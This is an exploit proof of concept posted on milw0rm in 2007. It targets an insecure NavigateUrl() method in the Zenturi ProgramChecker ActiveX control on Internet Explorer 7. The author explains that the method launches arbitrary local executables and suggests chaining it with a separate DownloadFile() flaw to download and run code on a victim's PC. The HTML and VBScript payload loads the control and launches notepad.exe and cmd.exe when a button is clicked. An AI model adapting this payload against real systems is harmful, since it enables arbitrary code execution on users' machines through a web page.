<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
<b>Zenturi ProgramChecker ActiveX Control "NavigateUrl()" Insecure Method</b>
url: http://www.programchecker.com/activeintro.aspx
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
I can't believe my eyes when I see what you can do with this ActiveX
(and I can't believe that this product is considered as antispyware).
You can use the "NavigateUrl()" to arbitrary launch local file from a pc.
Try, for example, to launch "c:\somefile.exe" and see what happen.
Imagine to use this method with the "DownloadFile()" one, you can download
something on the pc and run it without problems.
For the "DownloadFile()" vulnerability see:
<a href=http://www.milw0rm.com/exploits/4008>http://www.milw0rm.com/exploits/4008</a>
-----------------------------------------------------------------------------
<object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test' ></object>
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language='vbscript'>
Sub tryMe()
test.NavigateUrl "notepad.exe" ,"shinnai" ,"_SELF"
test.NavigateUrl "cmd.exe" ,"shinnai" ,"_SELF"
End Sub
</script>
</span></span>
</code></pre>
# milw0rm.com [2007-06-08]
